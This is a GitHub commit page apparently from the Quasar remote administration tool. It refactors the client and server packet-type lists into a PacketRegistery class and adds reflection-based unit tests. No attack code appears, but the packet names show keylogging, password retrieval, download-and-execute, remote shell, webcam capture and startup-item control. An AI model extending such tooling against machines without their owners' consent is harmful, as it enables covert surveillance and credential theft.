Skip to content

Commit

Permalink
Tests added for packet registeration for serialization
Browse files Browse the repository at this point in the history
  • Loading branch information
abdullah2993 committed Jul 27, 2016
1 parent 86b399e commit 397da1c
Show file tree
Hide file tree
Showing 10 changed files with 242 additions and 163 deletions.
5 changes: 4 additions & 1 deletion Client.Tests/Client.Tests.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,9 @@
</When>
<Otherwise>
<ItemGroup>
<Reference Include="Microsoft.VisualStudio.QualityTools.UnitTestFramework" />
<Reference Include="Microsoft.VisualStudio.QualityTools.UnitTestFramework">
<Private>False</Private>
</Reference>
</ItemGroup>
</Otherwise>
</Choose>
Expand All @@ -56,6 +58,7 @@
<Compile Include="Core\Compression\SafeQuickLZ.Tests.cs" />
<Compile Include="Core\Encryption\AES.Tests.cs" />
<Compile Include="Core\Encryption\SHA256.Tests.cs" />
<Compile Include="Core\Packet\Packet.Tests.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
Expand Down
21 changes: 21 additions & 0 deletions Client.Tests/Core/Packet/Packet.Tests.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System.Reflection;
using System.Linq;
using xClient.Core.Packets;

namespace xClient.Tests.Core.Packet
{
[TestClass]
public class PacketTest
{
[TestMethod]
public void AreAllPacketsRegistered()
{
var asm = Assembly.Load("Client");
var expectedPacketTypes = asm.GetTypes().Where(t => t.GetInterfaces().Contains(typeof(IPacket)) && t.GetCustomAttributes(typeof(SerializableAttribute), false).Any()).ToArray();
var registeredPackets = PacketRegistery.GetPacketTypes();
CollectionAssert.AreEquivalent(expectedPacketTypes, registeredPackets);
}
}
}
1 change: 1 addition & 0 deletions Client/Client.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -143,6 +143,7 @@
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryValueResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
<Compile Include="Core\Packets\PacketRegistery.cs" />
<Compile Include="Core\Packets\ServerPackets\DoWebcamStop.cs" />
<Compile Include="Core\Packets\ServerPackets\DoAskElevate.cs" />
<Compile Include="Core\Packets\ServerPackets\DoChangeRegistryValue.cs" />
Expand Down
81 changes: 1 addition & 80 deletions Client/Core/Networking/QuasarClient.cs
Original file line number Diff line number Diff line change
Expand Up @@ -24,86 +24,7 @@ public QuasarClient(HostsManager hostsManager) : base()
{
this._hosts = hostsManager;

base.Serializer = new Serializer(new Type[]
{
typeof (Packets.ServerPackets.GetAuthentication),
typeof (Packets.ServerPackets.DoClientDisconnect),
typeof (Packets.ServerPackets.DoClientReconnect),
typeof (Packets.ServerPackets.DoClientUninstall),
typeof (Packets.ServerPackets.DoWebcamStop),
typeof (Packets.ServerPackets.DoAskElevate),
typeof (Packets.ServerPackets.DoDownloadAndExecute),
typeof (Packets.ServerPackets.DoUploadAndExecute),
typeof (Packets.ServerPackets.GetDesktop),
typeof (Packets.ServerPackets.GetProcesses),
typeof (Packets.ServerPackets.DoProcessKill),
typeof (Packets.ServerPackets.DoProcessStart),
typeof (Packets.ServerPackets.GetDrives),
typeof (Packets.ServerPackets.GetDirectory),
typeof (Packets.ServerPackets.DoDownloadFile),
typeof (Packets.ServerPackets.DoMouseEvent),
typeof (Packets.ServerPackets.DoKeyboardEvent),
typeof (Packets.ServerPackets.GetSystemInfo),
typeof (Packets.ServerPackets.DoVisitWebsite),
typeof (Packets.ServerPackets.DoShowMessageBox),
typeof (Packets.ServerPackets.DoClientUpdate),
typeof (Packets.ServerPackets.GetMonitors),
typeof (Packets.ServerPackets.GetWebcams),
typeof (Packets.ServerPackets.GetWebcam),
typeof (Packets.ServerPackets.DoShellExecute),
typeof (Packets.ServerPackets.DoPathRename),
typeof (Packets.ServerPackets.DoPathDelete),
typeof (Packets.ServerPackets.DoShutdownAction),
typeof (Packets.ServerPackets.GetStartupItems),
typeof (Packets.ServerPackets.DoStartupItemAdd),
typeof (Packets.ServerPackets.DoStartupItemRemove),
typeof (Packets.ServerPackets.DoDownloadFileCancel),
typeof (Packets.ServerPackets.GetKeyloggerLogs),
typeof (Packets.ServerPackets.DoUploadFile),
typeof (Packets.ServerPackets.GetPasswords),
typeof (Packets.ServerPackets.DoLoadRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryKey),
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
typeof (Packets.ServerPackets.DoRenameRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryValue),
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
typeof (Packets.ServerPackets.DoRenameRegistryValue),
typeof (Packets.ServerPackets.DoChangeRegistryValue),
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Packets.ServerPackets.GetConnections),
typeof (Packets.ServerPackets.DoCloseConnection),
typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus),
typeof (Packets.ClientPackets.SetStatusFileManager),
typeof (Packets.ClientPackets.SetUserStatus),
typeof (Packets.ClientPackets.GetDesktopResponse),
typeof (Packets.ClientPackets.GetProcessesResponse),
typeof (Packets.ClientPackets.GetDrivesResponse),
typeof (Packets.ClientPackets.GetDirectoryResponse),
typeof (Packets.ClientPackets.DoDownloadFileResponse),
typeof (Packets.ClientPackets.GetSystemInfoResponse),
typeof (Packets.ClientPackets.GetMonitorsResponse),
typeof (Packets.ClientPackets.GetWebcamsResponse),
typeof (Packets.ClientPackets.GetWebcamResponse),
typeof (Packets.ClientPackets.DoShellExecuteResponse),
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
typeof (Packets.ClientPackets.GetRenameRegistryValueResponse),
typeof (Packets.ClientPackets.GetChangeRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
typeof (ReverseProxy.Packets.ReverseProxyDisconnect),
typeof (Packets.ClientPackets.GetConnectionsResponse)

});
base.Serializer = new Serializer(PacketRegistery.GetPacketTypes());
base.ClientState += OnClientState;
base.ClientRead += OnClientRead;
base.ClientFail += OnClientFail;
Expand Down
94 changes: 94 additions & 0 deletions Client/Core/Packets/PacketRegistery.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace xClient.Core.Packets
{
public class PacketRegistery
{
public static Type[] GetPacketTypes()
{
return new Type[]
{
typeof (Packets.ServerPackets.GetAuthentication),
typeof (Packets.ServerPackets.DoClientDisconnect),
typeof (Packets.ServerPackets.DoClientReconnect),
typeof (Packets.ServerPackets.DoClientUninstall),
typeof (Packets.ServerPackets.DoWebcamStop),
typeof (Packets.ServerPackets.DoAskElevate),
typeof (Packets.ServerPackets.DoDownloadAndExecute),
typeof (Packets.ServerPackets.DoUploadAndExecute),
typeof (Packets.ServerPackets.GetDesktop),
typeof (Packets.ServerPackets.GetProcesses),
typeof (Packets.ServerPackets.DoProcessKill),
typeof (Packets.ServerPackets.DoProcessStart),
typeof (Packets.ServerPackets.GetDrives),
typeof (Packets.ServerPackets.GetDirectory),
typeof (Packets.ServerPackets.DoDownloadFile),
typeof (Packets.ServerPackets.DoMouseEvent),
typeof (Packets.ServerPackets.DoKeyboardEvent),
typeof (Packets.ServerPackets.GetSystemInfo),
typeof (Packets.ServerPackets.DoVisitWebsite),
typeof (Packets.ServerPackets.DoShowMessageBox),
typeof (Packets.ServerPackets.DoClientUpdate),
typeof (Packets.ServerPackets.GetMonitors),
typeof (Packets.ServerPackets.GetWebcams),
typeof (Packets.ServerPackets.GetWebcam),
typeof (Packets.ServerPackets.DoShellExecute),
typeof (Packets.ServerPackets.DoPathRename),
typeof (Packets.ServerPackets.DoPathDelete),
typeof (Packets.ServerPackets.DoShutdownAction),
typeof (Packets.ServerPackets.GetStartupItems),
typeof (Packets.ServerPackets.DoStartupItemAdd),
typeof (Packets.ServerPackets.DoStartupItemRemove),
typeof (Packets.ServerPackets.DoDownloadFileCancel),
typeof (Packets.ServerPackets.GetKeyloggerLogs),
typeof (Packets.ServerPackets.DoUploadFile),
typeof (Packets.ServerPackets.GetPasswords),
typeof (Packets.ServerPackets.DoLoadRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryKey),
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
typeof (Packets.ServerPackets.DoRenameRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryValue),
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
typeof (Packets.ServerPackets.DoRenameRegistryValue),
typeof (Packets.ServerPackets.DoChangeRegistryValue),
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Packets.ServerPackets.GetConnections),
typeof (Packets.ServerPackets.DoCloseConnection),
typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus),
typeof (Packets.ClientPackets.SetStatusFileManager),
typeof (Packets.ClientPackets.SetUserStatus),
typeof (Packets.ClientPackets.GetDesktopResponse),
typeof (Packets.ClientPackets.GetProcessesResponse),
typeof (Packets.ClientPackets.GetDrivesResponse),
typeof (Packets.ClientPackets.GetDirectoryResponse),
typeof (Packets.ClientPackets.DoDownloadFileResponse),
typeof (Packets.ClientPackets.GetSystemInfoResponse),
typeof (Packets.ClientPackets.GetMonitorsResponse),
typeof (Packets.ClientPackets.GetWebcamsResponse),
typeof (Packets.ClientPackets.GetWebcamResponse),
typeof (Packets.ClientPackets.DoShellExecuteResponse),
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
typeof (Packets.ClientPackets.GetRenameRegistryValueResponse),
typeof (Packets.ClientPackets.GetChangeRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
typeof (ReverseProxy.Packets.ReverseProxyDisconnect),
typeof (Packets.ClientPackets.GetConnectionsResponse)

};
}
}
}
21 changes: 21 additions & 0 deletions Server.Tests/Core/Packet/Packet.Tests.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System.Reflection;
using System.Linq;
using xServer.Core.Packets;

namespace xServer.Tests.Core.Packet
{
[TestClass]
public class PacketTests
{
[TestMethod]
public void AreAllPacketsRegistered()
{
var asm = Assembly.Load("Quasar");
var expectedPacketTypes = asm.GetTypes().Where(t => t.GetInterfaces().Contains(typeof(IPacket)) && t.GetCustomAttributes(typeof(SerializableAttribute), false).Any()).ToArray();
var registeredPackets = PacketRegistery.GetPacketTypes();
CollectionAssert.AreEquivalent(expectedPacketTypes, registeredPackets);
}
}
}
6 changes: 4 additions & 2 deletions Server.Tests/Server.Tests.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -48,13 +48,16 @@
</When>
<Otherwise>
<ItemGroup>
<Reference Include="Microsoft.VisualStudio.QualityTools.UnitTestFramework" />
<Reference Include="Microsoft.VisualStudio.QualityTools.UnitTestFramework">
<Private>False</Private>
</Reference>
</ItemGroup>
</Otherwise>
</Choose>
<ItemGroup>
<Compile Include="Core\Compression\SafeQuickLZ.Tests.cs" />
<Compile Include="Core\Encryption\AES.Tests.cs" />
<Compile Include="Core\Packet\Packet.Tests.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
Expand All @@ -63,7 +66,6 @@
<Name>Server</Name>
</ProjectReference>
</ItemGroup>
<ItemGroup />
<Choose>
<When Condition="'$(VisualStudioVersion)' == '10.0' And '$(IsCodedUITest)' == 'True'">
<ItemGroup>
Expand Down
81 changes: 1 addition & 80 deletions Server/Core/Networking/QuasarServer.cs
Original file line number Diff line number Diff line change
Expand Up @@ -71,86 +71,7 @@ private void OnClientDisconnected(Client client)
/// </summary>
public QuasarServer() : base()
{
base.Serializer = new Serializer(new Type[]
{
typeof (Packets.ServerPackets.GetAuthentication),
typeof (Packets.ServerPackets.DoClientDisconnect),
typeof (Packets.ServerPackets.DoClientReconnect),
typeof (Packets.ServerPackets.DoClientUninstall),
typeof (Packets.ServerPackets.DoWebcamStop),
typeof (Packets.ServerPackets.DoAskElevate),
typeof (Packets.ServerPackets.DoDownloadAndExecute),
typeof (Packets.ServerPackets.DoUploadAndExecute),
typeof (Packets.ServerPackets.GetDesktop),
typeof (Packets.ServerPackets.GetProcesses),
typeof (Packets.ServerPackets.DoProcessKill),
typeof (Packets.ServerPackets.DoProcessStart),
typeof (Packets.ServerPackets.GetDrives),
typeof (Packets.ServerPackets.GetDirectory),
typeof (Packets.ServerPackets.DoDownloadFile),
typeof (Packets.ServerPackets.DoMouseEvent),
typeof (Packets.ServerPackets.DoKeyboardEvent),
typeof (Packets.ServerPackets.GetSystemInfo),
typeof (Packets.ServerPackets.DoVisitWebsite),
typeof (Packets.ServerPackets.DoShowMessageBox),
typeof (Packets.ServerPackets.DoClientUpdate),
typeof (Packets.ServerPackets.GetMonitors),
typeof (Packets.ServerPackets.GetWebcams),
typeof (Packets.ServerPackets.GetWebcam),
typeof (Packets.ServerPackets.DoShellExecute),
typeof (Packets.ServerPackets.DoPathRename),
typeof (Packets.ServerPackets.DoPathDelete),
typeof (Packets.ServerPackets.DoShutdownAction),
typeof (Packets.ServerPackets.GetStartupItems),
typeof (Packets.ServerPackets.DoStartupItemAdd),
typeof (Packets.ServerPackets.DoStartupItemRemove),
typeof (Packets.ServerPackets.DoDownloadFileCancel),
typeof (Packets.ServerPackets.GetKeyloggerLogs),
typeof (Packets.ServerPackets.DoUploadFile),
typeof (Packets.ServerPackets.GetPasswords),
typeof (Packets.ServerPackets.DoLoadRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryKey),
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
typeof (Packets.ServerPackets.DoRenameRegistryKey),
typeof (Packets.ServerPackets.DoCreateRegistryValue),
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
typeof (Packets.ServerPackets.DoRenameRegistryValue),
typeof (Packets.ServerPackets.DoChangeRegistryValue),
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
typeof (Packets.ServerPackets.GetConnections),
typeof (Packets.ServerPackets.DoCloseConnection),
typeof (Packets.ClientPackets.GetAuthenticationResponse),
typeof (Packets.ClientPackets.SetStatus),
typeof (Packets.ClientPackets.SetStatusFileManager),
typeof (Packets.ClientPackets.SetUserStatus),
typeof (Packets.ClientPackets.GetDesktopResponse),
typeof (Packets.ClientPackets.GetProcessesResponse),
typeof (Packets.ClientPackets.GetDrivesResponse),
typeof (Packets.ClientPackets.GetDirectoryResponse),
typeof (Packets.ClientPackets.DoDownloadFileResponse),
typeof (Packets.ClientPackets.GetSystemInfoResponse),
typeof (Packets.ClientPackets.GetMonitorsResponse),
typeof (Packets.ClientPackets.GetWebcamsResponse),
typeof (Packets.ClientPackets.GetWebcamResponse),
typeof (Packets.ClientPackets.DoShellExecuteResponse),
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
typeof (Packets.ClientPackets.GetRenameRegistryValueResponse),
typeof (Packets.ClientPackets.GetChangeRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
typeof (ReverseProxy.Packets.ReverseProxyDisconnect),
typeof (Packets.ClientPackets.GetConnectionsResponse)

});
base.Serializer = new Serializer(PacketRegistery.GetPacketTypes());

base.ClientState += OnClientState;
base.ClientRead += OnClientRead;
Expand Down
Loading

0 comments on commit 397da1c

Please sign in to comment.